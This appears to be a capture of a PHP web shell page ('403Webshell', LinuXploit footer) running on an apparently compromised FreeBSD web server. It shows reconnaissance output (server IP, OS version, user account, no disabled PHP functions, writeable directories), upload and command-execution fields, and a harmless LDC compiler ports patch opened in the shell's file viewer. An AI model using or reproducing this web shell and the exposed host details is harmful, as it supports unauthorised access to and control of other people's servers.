403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/lang/ldc/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/lang/ldc/files/patch-ltsmaster_driver_targetmachine.cpp
--- ltsmaster/driver/targetmachine.cpp 2018-08-24 00:55:46 UTC
+++ ltsmaster/driver/targetmachine.cpp
@@ -587,6 +587,23 @@
     break;
   }
 
+  // Taken from clang's lib/Driver/ToolChains/Gnu.cpp
+  if (triple.getArch() == llvm::Triple::aarch64 ||
+      triple.getArch() == llvm::Triple::aarch64_be ||
+      (triple.getOS() == llvm::Triple::FreeBSD &&
+       triple.getOSMajorVersion() >= 12) ||
+      triple.getOS() == llvm::Triple::NaCl ||
+      (triple.getVendor() == llvm::Triple::MipsTechnologies &&
+       !triple.hasEnvironment()) ||
+      triple.getOS() == llvm::Triple::Solaris
+#if LDC_LLVM_VER >= 400
+      || triple.getArch() == llvm::Triple::riscv32
+      || triple.getArch() == llvm::Triple::riscv64
+#endif
+      ) {
+    targetOptions.UseInitArray = true;
+  }
+
   // Right now, we only support linker-level dead code elimination on Linux
   // using the GNU toolchain (based on ld's --gc-sections flag). The Apple ld
   // on OS X supports a similar flag (-dead_strip) that doesn't require


Youez - 2016 - github.com/yon3zu
LinuXploit